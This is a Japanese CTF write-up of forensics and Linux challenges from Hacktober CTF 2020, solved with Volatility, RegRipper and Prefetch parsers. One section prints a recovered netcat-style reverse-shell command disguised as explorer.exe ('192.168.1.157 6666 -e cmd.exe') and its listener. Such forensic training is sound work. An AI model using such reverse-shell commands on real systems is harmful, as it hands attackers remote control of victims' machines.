Hacktober CTF Writeup

この大会は2020/10/16 23:00(JST)~2020/10/18 11:00(JST)に開催されました。
今回もチームで参戦。結果は4785点で1073チーム中43位でした。
自分で解けた問題をWriteupとして書いておきます。

Rules 1 (Start 0)

問題にフラグが書いてあった。

flag{pl4y_by_th3_ru13s}

Talking to the Dead 1 (Linux 30)

$ ssh hacktober@env.hacktober.io
The authenticity of host 'env.hacktober.io (164.90.151.191)' can't be established.
ECDSA key fingerprint is SHA256:28XgvNOKrN95NgfWARVy2os+YCz6Cy5e45t1dRO9H/o.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'env.hacktober.io,164.90.151.191' (ECDSA) to the list of known hosts.
hacktober@env.hacktober.io's password: 
Last login: Fri Oct 16 23:21:31 2020 from 109.252.109.150
luciafer@f94ac3514166:/$ find / -name flag1.txt
find: '/etc/ssl/private': Permission denied
/home/luciafer/Documents/flag1.txt
find: '/home/spookyboi/.ssh': Permission denied
find: '/proc/tty/driver': Permission denied
find: '/var/log/private': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/var/lib/private': Permission denied
find: '/root/.local/share': Permission denied
luciafer@f94ac3514166:/$ cat /home/luciafer/Documents/flag1.txt
flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c}
flag{cb07e9d6086d50ee11c0d968f1e5c4bf1c89418c}

Talking to the Dead 2 (Linux 30)

luciafer@f94ac3514166:/$ cd ~
luciafer@f94ac3514166:~$ ls -lRa
.:
total 48
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 .
drwxr-xr-x 1 root     root     4096 Oct  5 15:05 ..
-rw------- 1 luciafer luciafer    1 Oct  6 11:24 .bash_history
-rw-r--r-- 1 luciafer luciafer  220 Oct  5 14:50 .bash_logout
-rw-r--r-- 1 luciafer luciafer 3771 Oct  5 14:50 .bashrc
-rw-r--r-- 1 luciafer luciafer  807 Oct  5 14:50 .profile
drwxrwxr-x 1 luciafer luciafer 4096 Oct  6 08:36 Documents
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 Downloads
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 Pictures
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 Videos

./Documents:
total 20
drwxrwxr-x 1 luciafer luciafer 4096 Oct  6 08:36 .
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 ..
-rw-rw-r-- 1 luciafer luciafer   47 Oct  6 08:36 .flag2.txt
-rw-rw-r-- 1 luciafer luciafer   47 Oct  5 14:55 flag1.txt

./Downloads:
total 12
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 .
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 ..

./Pictures:
total 12
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 .
drwxr-xr-x 1 luciafer luciafer 4096 Oct  5 14:54 ..

./Videos:
total 12
drwxrwxr-x 2 luciafer luciafer 4096 Oct  5 14:54 .
luciafer@f94ac3514166:~$ cat ./Documents/.flag2.txt
flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}
flag{728ec98bfaa302b2dfc2f716d3de7869f3eadcbf}

Captured Memories (Forensics 30)

メモリダンプのキャプチャに使われたプログラムのPIDを答える。

$ volatility -f mem.raw imageinfo
Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win10x64_10586, Win10x64_14393, Win10x64, Win2016x64_14393, Win10x64_15063 (Instantiated with Win10x64_15063)
                     AS Layer1 : SkipDuplicatesAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/mnt/hgfs/Shared/work/mem.raw)
                      PAE type : No PAE
                           DTB : 0x1aa000L
                          KDBG : 0xf8001e43d520L
          Number of Processors : 2
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff8001d4e2000L
                KPCR for CPU 1 : 0xffffd40032268000L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2020-06-26 15:51:36 UTC+0000
     Image local date and time : 2020-06-26 08:51:36 -0700

$ volatility -f mem.raw --profile=Win10x64_15063 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xffff87868e88d440:System                              4      0    111      0 2020-06-26 15:07:32 UTC+0000
. 0xffff878690147040:smss.exe                         348      4      2      0 2020-06-26 15:07:32 UTC+0000
. 0xffff87868e975040:Registry                          88      4      3      0 2020-06-26 15:07:23 UTC+0000
. 0xffff878690ccc040:MemCompression                  1168      4     50      0 2020-06-26 15:07:58 UTC+0000
 0xffff878690495080:wininit.exe                       528    424      1      0 2020-06-26 15:07:45 UTC+0000
. 0xffff8786904cd080:services.exe                     648    528      6      0 2020-06-26 15:07:46 UTC+0000
.. 0xffff8786914d2580:TrustedInstall                 2572    648      5      0 2020-06-26 15:43:20 UTC+0000
.. 0xffff878690c8d580:svchost.exe                    1052    648     18      0 2020-06-26 15:07:58 UTC+0000
.. 0xffff878690c2d580:svchost.exe                      60    648     64      0 2020-06-26 15:07:56 UTC+0000
... 0xffff8786909b0580:sihost.exe                    2672     60     15      0 2020-06-26 15:08:51 UTC+0000
... 0xffff87868fa02580:wuauclt.exe                   5288     60      7      0 2020-06-26 15:43:18 UTC+0000
... 0xffff8786909e1580:taskhostw.exe                 2764     60     10      0 2020-06-26 15:08:52 UTC+0000
... 0xffff87869038d580:taskhostw.exe                  656     60      8      0 2020-06-26 15:48:06 UTC+0000
.. 0xffff878690cae580:svchost.exe                    1092    648     24      0 2020-06-26 15:07:58 UTC+0000
.. 0xffff878690a07580:svchost.exe                    2144    648      2      0 2020-06-26 15:08:16 UTC+0000
.. 0xffff87868f821080:SgrmBroker.exe                 6756    648      2      0 2020-06-26 15:10:41 UTC+0000
.. 0xffff878690fdd400:SecurityHealth                 1900    648     12      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff87868f3804c0:svchost.exe                    4804    648      9      0 2020-06-26 15:33:05 UTC+0000
.. 0xffff8786903bf580:svchost.exe                    1248    648      8      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff878691216580:svchost.exe                    1268    648     13      0 2020-06-26 15:08:14 UTC+0000
.. 0xffff878690e87580:spoolsv.exe                    1408    648     10      0 2020-06-26 15:08:00 UTC+0000
.. 0xffff878690d12580:svchost.exe                    1284    648     21      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff878690dc7580:svchost.exe                    1320    648      8      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff87869150c580:sedsvc.exe                     3040    648      5      0 2020-06-26 15:17:18 UTC+0000
.. 0xffff878690fbe580:svchost.exe                    1860    648     13      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff878690fcd580:MsMpEng.exe                    1884    648     10      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff87868ede8580:SearchIndexer.                 4448    648     23      0 2020-06-26 15:09:31 UTC+0000
... 0xffff87868ec27080:cmd.exe                       6844   4448      0 ------ 2020-06-26 15:44:35 UTC+0000
... 0xffff878690744380:SearchProtocol                4396   4448      0 ------ 2020-06-26 15:50:01 UTC+0000
... 0xffff87868f082580:SearchFilterHo                4432   4448      4      0 2020-06-26 15:50:01 UTC+0000
... 0xffff878691456080:cmd.exe                       3944   4448      0 ------ 2020-06-26 15:37:19 UTC+0000
.... 0xffff87868fd63580:conhost.exe                  5432   3944      4      0 2020-06-26 15:37:19 UTC+0000
.... 0xffff878691762080:explorer.exe                 5448   3944      1      0 2020-06-26 15:43:14 UTC+0000
... 0xffff878691457580:cmd.exe                       4424   4448      1      0 2020-06-26 15:46:51 UTC+0000
.... 0xffff87868f773080:explorer.exe                 3100   4424      5      0 2020-06-26 15:48:21 UTC+0000
..... 0xffff87868f77b340:cmd.exe                     4640   3100      1      0 2020-06-26 15:48:21 UTC+0000
.... 0xffff87868f998080:conhost.exe                  6372   4424      3      0 2020-06-26 15:46:51 UTC+0000
.. 0xffff87868ed40580:svchost.exe                    4976    648      3      0 2020-06-26 15:48:59 UTC+0000
.. 0xffff878690b71580:svchost.exe                     884    648     25      0 2020-06-26 15:07:53 UTC+0000
.. 0xffff878690bbd580:svchost.exe                     384    648     14      0 2020-06-26 15:07:56 UTC+0000
... 0xffff8786913c2080:ctfmon.exe                    2956    384      9      0 2020-06-26 15:08:55 UTC+0000
.. 0xffff878690e93580:svchost.exe                    1416    648     25      0 2020-06-26 15:08:00 UTC+0000
.. 0xffff8786909c9580:svchost.exe                    2712    648     22      0 2020-06-26 15:08:52 UTC+0000
.. 0xffff8786904cc580:svchost.exe                     764    648     31      0 2020-06-26 15:07:50 UTC+0000
... 0xffff87868ece5580:ApplicationFra                4104    764     11      0 2020-06-26 15:09:30 UTC+0000
... 0xffff87868fb16340:smartscreen.ex                1048    764     15      0 2020-06-26 15:48:37 UTC+0000
... 0xffff87868edc2580:RuntimeBroker.                5680    764      6      0 2020-06-26 15:09:46 UTC+0000
... 0xffff87868efaf080:MicrosoftEdge.                4660    764      0 ------ 2020-06-26 15:09:32 UTC+0000
... 0xffff87868f008080:RuntimeBroker.                3936    764      0 ------ 2020-06-26 15:09:37 UTC+0000
... 0xffff878691056580:HxOutlook.exe                 4688    764     24      0 2020-06-26 15:32:47 UTC+0000
... 0xffff87868f9a6580:Microsoft.Phot                4724    764     14      0 2020-06-26 15:20:49 UTC+0000
... 0xffff8786900eb080:ShellExperienc                3708    764     24      0 2020-06-26 15:09:18 UTC+0000
... 0xffff878691080580:HxTsr.exe                     5172    764     14      0 2020-06-26 15:31:30 UTC+0000
... 0xffff878690969580:RuntimeBroker.                4064    764      6      0 2020-06-26 15:09:23 UTC+0000
... 0xffff87868ed21080:WmiPrvSE.exe                  3304    764      9      0 2020-06-26 15:12:07 UTC+0000
... 0xffff87868f10a080:backgroundTask                1276    764      0 ------ 2020-06-26 15:32:50 UTC+0000
... 0xffff87868ede9080:SkypeApp.exe                  5896    764     23      0 2020-06-26 15:21:02 UTC+0000
... 0xffff8786916b2580:dllhost.exe                   6432    764      7      0 2020-06-26 15:10:15 UTC+0000
... 0xffff8786909da580:RuntimeBroker.                3436    764      3      0 2020-06-26 15:10:04 UTC+0000
... 0xffff87868f29d380:SkypeBackgroun                 376    764      4      0 2020-06-26 15:38:06 UTC+0000
... 0xffff878691219080:TiWorker.exe                  2796    764      4      0 2020-06-26 15:43:20 UTC+0000
... 0xffff87868ef10580:RuntimeBroker.                4504    764      8      0 2020-06-26 15:09:31 UTC+0000
... 0xffff87868fd65580:dllhost.exe                   3520    764      7      0 2020-06-26 15:09:16 UTC+0000
... 0xffff8786901a0080:SearchUI.exe                  4052    764     50      0 2020-06-26 15:09:23 UTC+0000
... 0xffff87868ee50580:RuntimeBroker.                2528    764     11      0 2020-06-26 15:09:29 UTC+0000
... 0xffff87868f826080:HxOutlook.exe                 7160    764      0 ------ 2020-06-26 15:31:23 UTC+0000
.. 0xffff878690dc3580:svchost.exe                    1312    648      5      0 2020-06-26 15:07:59 UTC+0000
. 0xffff8786904fb080:lsass.exe                        664    528      9      0 2020-06-26 15:07:47 UTC+0000
. 0xffff8786904d1580:fontdrvhost.ex                   792    528      5      0 2020-06-26 15:07:50 UTC+0000
 0xffff878690722080:csrss.exe                         436    424     10      0 2020-06-26 15:07:43 UTC+0000
 0xffff87869049c580:winlogon.exe                      564    500      5      0 2020-06-26 15:07:45 UTC+0000
. 0xffff878690ac5580:fontdrvhost.ex                   800    564      5      0 2020-06-26 15:07:50 UTC+0000
. 0xffff87869141c2c0:userinit.exe                    2184    564      0 ------ 2020-06-26 15:08:57 UTC+0000
.. 0xffff8786913f9580:explorer.exe                   2316   2184     93      0 2020-06-26 15:08:57 UTC+0000
... 0xffff87868fb57580:cmd.exe                       3180   2316      0 ------ 2020-06-26 15:19:51 UTC+0000
... 0xffff87868f1d2080:cmd.exe                       6080   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff87868fd7a580:chrmstp.exe                   3256   2316      0 ------ 2020-06-26 15:09:13 UTC+0000
... 0xffff87868f399080:chrome.exe                    5872   2316     32      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff8786914bb580:chrome.exe                   5736   5872     13      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff8786913b7580:chrome.exe                   3432   5872     13      0 2020-06-26 15:51:01 UTC+0000
.... 0xffff87869030e080:chrome.exe                   4828   5872     11      0 2020-06-26 15:51:04 UTC+0000
.... 0xffff87868ebef080:chrome.exe                   2512   5872     21      0 2020-06-26 15:51:06 UTC+0000
.... 0xffff878691535580:chrome.exe                   4940   5872     10      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff87868f26c580:chrome.exe                   3140   5872     16      0 2020-06-26 15:51:03 UTC+0000
.... 0xffff87868f047080:chrome.exe                   6044   5872      6      0 2020-06-26 15:51:05 UTC+0000
.... 0xffff87868fb1f080:chrome.exe                   7088   5872      9      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff87868faef580:chrome.exe                   5876   5872     13      0 2020-06-26 15:51:03 UTC+0000
.... 0xffff8786916713c0:chrome.exe                   7108   5872     13      0 2020-06-26 15:34:35 UTC+0000
... 0xffff87868f150580:MSASCuiL.exe                  5928   2316      3      0 2020-06-26 15:09:52 UTC+0000
... 0xffff87868f81d080:cmd.exe                        784   2316      1      0 2020-06-26 15:48:50 UTC+0000
.... 0xffff878691422080:conhost.exe                  3480    784      5      0 2020-06-26 15:48:50 UTC+0000
.... 0xffff87868f2e1080:winpmem_v3.3.r               3348    784      5      0 2020-06-26 15:51:36 UTC+0000
... 0xffff87868ec71080:av-20200624193                6880   2316      0 ------ 2020-06-26 15:36:10 UTC+0000
... 0xffff8786909e5080:OneDrive.exe                  6032   2316     20      0 2020-06-26 15:09:53 UTC+0000
... 0xffff87868f1d5580:cmd.exe                       6072   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff87868f1cc580:explorer.exe                  6096   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff878690466080:chrome.exe                    6628   2316      0 ------ 2020-06-26 15:31:56 UTC+0000
. 0xffff878690c07080:dwm.exe                          968    564     13      0 2020-06-26 15:07:55 UTC+0000
 0xffff878690472280:csrss.exe                         508    500     12      0 2020-06-26 15:07:45 UTC+0000
 0xffff878691061580:GoogleCrashHan                   4332   2776      5      0 2020-06-26 15:10:38 UTC+0000
 0xffff8786910be080:GoogleCrashHan                   5936   2776      3      0 2020-06-26 15:10:38 UTC+0000

winpmemがメモリダンプを取得していると思われる。PIDは3348。

flag{3348}

AmCaching In (Forensics 50)

\%SystemRoot%\AppCompat\Programs\Amcache.hveにユーザ"mpowers"によってインストールされたプログラム名を答える。
RegRipperで以下のプラグインを使う。

https://github.com/chaoticmachinery/mass_triage_tools/tree/master/regripper_plugins
>rip -p amcache_tln -r Amcache.hve | findstr mpowers
Launching amcache_tln v.20180311
Parsing: Amcache.hve

|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\appdata\local\temp\d930e9b6-7d1b-4a5d-804e-ce667e431ff9\dismhost.exe|2b8780eaf56baa53f53649bcffc10d9cc2e14a36|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\desktop\ftk imager\ftk imager.exe|b14898ecf28a3e131dc36fc39168f6ee9dc75d78|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\downloads\python-3.7.0-amd64-webinstall.exe|5e774c390146ef62fa64ff83fd3143699711e948|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\appdata\local\temp\4\{b04d01b2-0174-4ef5-8fb5-84584c0964f5}\.be\python-3.7.0-amd64-webinstall.exe|2d64d4af1f91189e1cb568df2f6dcbf4414702ff|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\appdata\local\temp\4\{4a1d9cda-5382-4f04-b44d-51927f9c602a}\.cr\python-3.7.0-amd64-webinstall.exe|2d64d4af1f91189e1cb568df2f6dcbf4414702ff|Amcache.hve
|1970-00-01 00:00:00|AmCache_InventoryApplication||||Key LastWrite|c:\users\mpowers\desktop\sub-win-x64_104.148.109.124_5682_3262.exe|4acc66f0869d5e59802961bee0f1bea38bad6fdf|Amcache.hve

python 3.7.0をインストールしている。

flag{python}

Prefetch Perfection (Forensics 50)

IEが実行された時刻を答える。
WinPrefetchViewで[Options]-[Advanced Options]からprefetchフォルダを指定して確認する。時刻はローカルタイム(日本時間)なので、[Options]-[Show Time In GMT]を選択し、GMTにする。
f:id:satou-y:20201030120747p:plain
IEのLast Run Timeは 2017/05/01 21:11:41。

flag{2017-05-01 21:11:41}

Prefetch Perfection 2 (Forensics 100)

cmaldanadoのクッキーを使うプロセスを答える。
https://github.com/PoorBillionaire/Windows-Prefetch-Parser/blob/master/windowsprefetch/prefetch.pyを使う。

$ python prefetch.py -d prefetch/ > output.txt

output.txtでcmaldanadoのcookieを検索

       :
=========================
DLLHOST.EXE-6202E8F2.pf
=========================

Executable Name: DLLHOST.EXE

Run count: 1
Last Executed: 2017-04-27 17:54:07.476636

Volume Information:
    Volume Name: \DEVICE\HARDDISKVOLUME1
    Creation Date: 2017-04-26 06:17:23.091272
    Serial Number: 46ca3ac8

Directory Strings:
       :

Resources loaded:
       :
50:   \DEVICE\HARDDISKVOLUME1\USERS\CMALDONADO\APPDATA\ROAMING\MICROSOFT\WINDOWS\COOKIES\LOW\CMALDONADO@WWW.MSN[1].TXT
       :
||
>|
<b>flag{dllhost.exe}</b>
|<

* Commands (Forensics 100)
不審なexplorer.exeの実行をオプション付きで答える。
>|sh|
$ volatility -f mem.raw --profile=Win10x64_15063 cmdline | grep explorer
Volatility Foundation Volatility Framework 2.6
explorer.exe pid:   2316
explorer.exe pid:   6096
explorer.exe pid:   5448
Command line : explorer.exe  -lnvp 6666
explorer.exe pid:   3100
Command line : explorer.exe  192.168.1.157 6666 -e cmd.exe
flag{explorer.exe  192.168.1.157 6666 -e cmd.exe}

Evil Twin (Forensics 150)

$ volatility -f mem.raw --profile=Win10x64_15063 pstree
Volatility Foundation Volatility Framework 2.6
Name                                                  Pid   PPid   Thds   Hnds Time
-------------------------------------------------- ------ ------ ------ ------ ----
 0xffff87868e88d440:System                              4      0    111      0 2020-06-26 15:07:32 UTC+0000
. 0xffff878690147040:smss.exe                         348      4      2      0 2020-06-26 15:07:32 UTC+0000
. 0xffff87868e975040:Registry                          88      4      3      0 2020-06-26 15:07:23 UTC+0000
. 0xffff878690ccc040:MemCompression                  1168      4     50      0 2020-06-26 15:07:58 UTC+0000
 0xffff878690495080:wininit.exe                       528    424      1      0 2020-06-26 15:07:45 UTC+0000
. 0xffff8786904cd080:services.exe                     648    528      6      0 2020-06-26 15:07:46 UTC+0000
.. 0xffff8786914d2580:TrustedInstall                 2572    648      5      0 2020-06-26 15:43:20 UTC+0000
.. 0xffff878690c8d580:svchost.exe                    1052    648     18      0 2020-06-26 15:07:58 UTC+0000
.. 0xffff878690c2d580:svchost.exe                      60    648     64      0 2020-06-26 15:07:56 UTC+0000
... 0xffff8786909b0580:sihost.exe                    2672     60     15      0 2020-06-26 15:08:51 UTC+0000
... 0xffff87868fa02580:wuauclt.exe                   5288     60      7      0 2020-06-26 15:43:18 UTC+0000
... 0xffff8786909e1580:taskhostw.exe                 2764     60     10      0 2020-06-26 15:08:52 UTC+0000
... 0xffff87869038d580:taskhostw.exe                  656     60      8      0 2020-06-26 15:48:06 UTC+0000
.. 0xffff878690cae580:svchost.exe                    1092    648     24      0 2020-06-26 15:07:58 UTC+0000
.. 0xffff878690a07580:svchost.exe                    2144    648      2      0 2020-06-26 15:08:16 UTC+0000
.. 0xffff87868f821080:SgrmBroker.exe                 6756    648      2      0 2020-06-26 15:10:41 UTC+0000
.. 0xffff878690fdd400:SecurityHealth                 1900    648     12      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff87868f3804c0:svchost.exe                    4804    648      9      0 2020-06-26 15:33:05 UTC+0000
.. 0xffff8786903bf580:svchost.exe                    1248    648      8      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff878691216580:svchost.exe                    1268    648     13      0 2020-06-26 15:08:14 UTC+0000
.. 0xffff878690e87580:spoolsv.exe                    1408    648     10      0 2020-06-26 15:08:00 UTC+0000
.. 0xffff878690d12580:svchost.exe                    1284    648     21      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff878690dc7580:svchost.exe                    1320    648      8      0 2020-06-26 15:07:59 UTC+0000
.. 0xffff87869150c580:sedsvc.exe                     3040    648      5      0 2020-06-26 15:17:18 UTC+0000
.. 0xffff878690fbe580:svchost.exe                    1860    648     13      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff878690fcd580:MsMpEng.exe                    1884    648     10      0 2020-06-26 15:08:04 UTC+0000
.. 0xffff87868ede8580:SearchIndexer.                 4448    648     23      0 2020-06-26 15:09:31 UTC+0000
... 0xffff87868ec27080:cmd.exe                       6844   4448      0 ------ 2020-06-26 15:44:35 UTC+0000
... 0xffff878690744380:SearchProtocol                4396   4448      0 ------ 2020-06-26 15:50:01 UTC+0000
... 0xffff87868f082580:SearchFilterHo                4432   4448      4      0 2020-06-26 15:50:01 UTC+0000
... 0xffff878691456080:cmd.exe                       3944   4448      0 ------ 2020-06-26 15:37:19 UTC+0000
.... 0xffff87868fd63580:conhost.exe                  5432   3944      4      0 2020-06-26 15:37:19 UTC+0000
.... 0xffff878691762080:explorer.exe                 5448   3944      1      0 2020-06-26 15:43:14 UTC+0000
... 0xffff878691457580:cmd.exe                       4424   4448      1      0 2020-06-26 15:46:51 UTC+0000
.... 0xffff87868f773080:explorer.exe                 3100   4424      5      0 2020-06-26 15:48:21 UTC+0000
..... 0xffff87868f77b340:cmd.exe                     4640   3100      1      0 2020-06-26 15:48:21 UTC+0000
.... 0xffff87868f998080:conhost.exe                  6372   4424      3      0 2020-06-26 15:46:51 UTC+0000
.. 0xffff87868ed40580:svchost.exe                    4976    648      3      0 2020-06-26 15:48:59 UTC+0000
.. 0xffff878690b71580:svchost.exe                     884    648     25      0 2020-06-26 15:07:53 UTC+0000
.. 0xffff878690bbd580:svchost.exe                     384    648     14      0 2020-06-26 15:07:56 UTC+0000
... 0xffff8786913c2080:ctfmon.exe                    2956    384      9      0 2020-06-26 15:08:55 UTC+0000
.. 0xffff878690e93580:svchost.exe                    1416    648     25      0 2020-06-26 15:08:00 UTC+0000
.. 0xffff8786909c9580:svchost.exe                    2712    648     22      0 2020-06-26 15:08:52 UTC+0000
.. 0xffff8786904cc580:svchost.exe                     764    648     31      0 2020-06-26 15:07:50 UTC+0000
... 0xffff87868ece5580:ApplicationFra                4104    764     11      0 2020-06-26 15:09:30 UTC+0000
... 0xffff87868fb16340:smartscreen.ex                1048    764     15      0 2020-06-26 15:48:37 UTC+0000
... 0xffff87868edc2580:RuntimeBroker.                5680    764      6      0 2020-06-26 15:09:46 UTC+0000
... 0xffff87868efaf080:MicrosoftEdge.                4660    764      0 ------ 2020-06-26 15:09:32 UTC+0000
... 0xffff87868f008080:RuntimeBroker.                3936    764      0 ------ 2020-06-26 15:09:37 UTC+0000
... 0xffff878691056580:HxOutlook.exe                 4688    764     24      0 2020-06-26 15:32:47 UTC+0000
... 0xffff87868f9a6580:Microsoft.Phot                4724    764     14      0 2020-06-26 15:20:49 UTC+0000
... 0xffff8786900eb080:ShellExperienc                3708    764     24      0 2020-06-26 15:09:18 UTC+0000
... 0xffff878691080580:HxTsr.exe                     5172    764     14      0 2020-06-26 15:31:30 UTC+0000
... 0xffff878690969580:RuntimeBroker.                4064    764      6      0 2020-06-26 15:09:23 UTC+0000
... 0xffff87868ed21080:WmiPrvSE.exe                  3304    764      9      0 2020-06-26 15:12:07 UTC+0000
... 0xffff87868f10a080:backgroundTask                1276    764      0 ------ 2020-06-26 15:32:50 UTC+0000
... 0xffff87868ede9080:SkypeApp.exe                  5896    764     23      0 2020-06-26 15:21:02 UTC+0000
... 0xffff8786916b2580:dllhost.exe                   6432    764      7      0 2020-06-26 15:10:15 UTC+0000
... 0xffff8786909da580:RuntimeBroker.                3436    764      3      0 2020-06-26 15:10:04 UTC+0000
... 0xffff87868f29d380:SkypeBackgroun                 376    764      4      0 2020-06-26 15:38:06 UTC+0000
... 0xffff878691219080:TiWorker.exe                  2796    764      4      0 2020-06-26 15:43:20 UTC+0000
... 0xffff87868ef10580:RuntimeBroker.                4504    764      8      0 2020-06-26 15:09:31 UTC+0000
... 0xffff87868fd65580:dllhost.exe                   3520    764      7      0 2020-06-26 15:09:16 UTC+0000
... 0xffff8786901a0080:SearchUI.exe                  4052    764     50      0 2020-06-26 15:09:23 UTC+0000
... 0xffff87868ee50580:RuntimeBroker.                2528    764     11      0 2020-06-26 15:09:29 UTC+0000
... 0xffff87868f826080:HxOutlook.exe                 7160    764      0 ------ 2020-06-26 15:31:23 UTC+0000
.. 0xffff878690dc3580:svchost.exe                    1312    648      5      0 2020-06-26 15:07:59 UTC+0000
. 0xffff8786904fb080:lsass.exe                        664    528      9      0 2020-06-26 15:07:47 UTC+0000
. 0xffff8786904d1580:fontdrvhost.ex                   792    528      5      0 2020-06-26 15:07:50 UTC+0000
 0xffff878690722080:csrss.exe                         436    424     10      0 2020-06-26 15:07:43 UTC+0000
 0xffff87869049c580:winlogon.exe                      564    500      5      0 2020-06-26 15:07:45 UTC+0000
. 0xffff878690ac5580:fontdrvhost.ex                   800    564      5      0 2020-06-26 15:07:50 UTC+0000
. 0xffff87869141c2c0:userinit.exe                    2184    564      0 ------ 2020-06-26 15:08:57 UTC+0000
.. 0xffff8786913f9580:explorer.exe                   2316   2184     93      0 2020-06-26 15:08:57 UTC+0000
... 0xffff87868fb57580:cmd.exe                       3180   2316      0 ------ 2020-06-26 15:19:51 UTC+0000
... 0xffff87868f1d2080:cmd.exe                       6080   2316      0 ------ 2020-06-26 15:09:54 UTC+0000
... 0xffff87868fd7a580:chrmstp.exe                   3256   2316      0 ------ 2020-06-26 15:09:13 UTC+0000
... 0xffff87868f399080:chrome.exe                    5872   2316     32      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff8786914bb580:chrome.exe                   5736   5872     13      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff8786913b7580:chrome.exe                   3432   5872     13      0 2020-06-26 15:51:01 UTC+0000
.... 0xffff87869030e080:chrome.exe                   4828   5872     11      0 2020-06-26 15:51:04 UTC+0000
.... 0xffff87868ebef080:chrome.exe                   2512   5872     21      0 2020-06-26 15:51:06 UTC+0000
.... 0xffff878691535580:chrome.exe                   4940   5872     10      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff87868f26c580:chrome.exe                   3140   5872     16      0 2020-06-26 15:51:03 UTC+0000
.... 0xffff87868f047080:chrome.exe                   6044   5872      6      0 2020-06-26 15:51:05 UTC+0000
.... 0xffff87868fb1f080:chrome.exe                   7088   5872      9      0 2020-06-26 15:34:25 UTC+0000
.... 0xffff87868faef580:chrome.exe                   5876   5872     13      0 2020-06-26 15:51:03 UTC+0000
.... 0xffff8786916713c0:chrome.exe                   7108   5872     13      0 2020-06-26 15:34:35 UTC+0000
